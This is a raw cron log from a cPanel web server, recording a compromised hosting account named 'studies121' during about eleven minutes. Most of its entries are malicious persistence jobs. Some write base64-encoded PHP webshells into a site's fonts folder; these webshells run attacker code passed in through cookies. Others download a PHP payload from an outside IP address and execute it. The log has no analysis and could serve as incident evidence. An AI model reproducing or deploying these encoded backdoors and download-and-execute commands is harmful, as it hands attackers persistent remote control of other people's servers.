Sep  2 04:57:01 ip-184-168-122-23 CROND[15114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:57:01 ip-184-168-122-23 CROND[15119]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null))
Sep  2 04:57:01 ip-184-168-122-23 CROND[15117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:57:01 ip-184-168-122-23 CROND[15118]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:57:20 ip-184-168-122-23 crontab[15258]: (root) LIST (root)
Sep  2 04:57:20 ip-184-168-122-23 crontab[15260]: (root) LIST (root)
Sep  2 04:57:27 ip-184-168-122-23 crontab[15360]: (root) LIST (root)
Sep  2 04:58:01 ip-184-168-122-23 crond[671]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep  2 04:58:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  2 04:58:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  2 04:58:01 ip-184-168-122-23 CROND[15624]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:58:01 ip-184-168-122-23 CROND[15625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:58:01 ip-184-168-122-23 CROND[15628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:58:01 ip-184-168-122-23 CROND[15627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:58:01 ip-184-168-122-23 CROND[15629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:59:01 ip-184-168-122-23 CROND[16217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:59:01 ip-184-168-122-23 CROND[16220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:59:01 ip-184-168-122-23 CROND[16219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:59:01 ip-184-168-122-23 CROND[16221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:00:01 ip-184-168-122-23 CROND[16374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:00:01 ip-184-168-122-23 CROND[16380]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:00:01 ip-184-168-122-23 CROND[16378]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:00:01 ip-184-168-122-23 CROND[16376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:00:01 ip-184-168-122-23 CROND[16381]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:00:01 ip-184-168-122-23 CROND[16377]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 05:00:01 ip-184-168-122-23 CROND[16379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:00:01 ip-184-168-122-23 CROND[16382]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:01:01 ip-184-168-122-23 CROND[16506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:01:01 ip-184-168-122-23 CROND[16507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:01:01 ip-184-168-122-23 CROND[16508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:01:01 ip-184-168-122-23 CROND[16512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:01:01 ip-184-168-122-23 CROND[16510]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 05:01:01 ip-184-168-122-23 CROND[16511]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16510]: starting 0anacron
Sep  2 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16527]: finished 0anacron
Sep  2 05:02:01 ip-184-168-122-23 CROND[16631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:02:01 ip-184-168-122-23 CROND[16632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:02:01 ip-184-168-122-23 CROND[16633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:02:01 ip-184-168-122-23 CROND[16636]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:02:01 ip-184-168-122-23 CROND[16638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:03:01 ip-184-168-122-23 CROND[16770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:03:01 ip-184-168-122-23 CROND[16772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:03:01 ip-184-168-122-23 CROND[16773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:03:01 ip-184-168-122-23 CROND[16774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:04:01 ip-184-168-122-23 CROND[16866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:04:01 ip-184-168-122-23 CROND[16869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:04:01 ip-184-168-122-23 CROND[16870]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:04:01 ip-184-168-122-23 CROND[16868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:04:01 ip-184-168-122-23 CROND[16871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:05:01 ip-184-168-122-23 CROND[16980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:05:02 ip-184-168-122-23 CROND[16981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:05:02 ip-184-168-122-23 CROND[16982]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:05:02 ip-184-168-122-23 CROND[16983]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:05:02 ip-184-168-122-23 CROND[16984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:05:02 ip-184-168-122-23 CROND[16985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:05:02 ip-184-168-122-23 CROND[16988]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 05:06:01 ip-184-168-122-23 CROND[17119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:06:01 ip-184-168-122-23 CROND[17120]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:06:01 ip-184-168-122-23 CROND[17123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:06:01 ip-184-168-122-23 CROND[17124]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:06:01 ip-184-168-122-23 CROND[17127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:07:01 ip-184-168-122-23 CROND[17305]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:07:01 ip-184-168-122-23 CROND[17307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:07:01 ip-184-168-122-23 CROND[17308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:07:01 ip-184-168-122-23 CROND[17309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:08:01 ip-184-168-122-23 CROND[17421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:08:01 ip-184-168-122-23 CROND[17422]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:08:01 ip-184-168-122-23 CROND[17423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:08:01 ip-184-168-122-23 CROND[17425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:08:01 ip-184-168-122-23 CROND[17429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
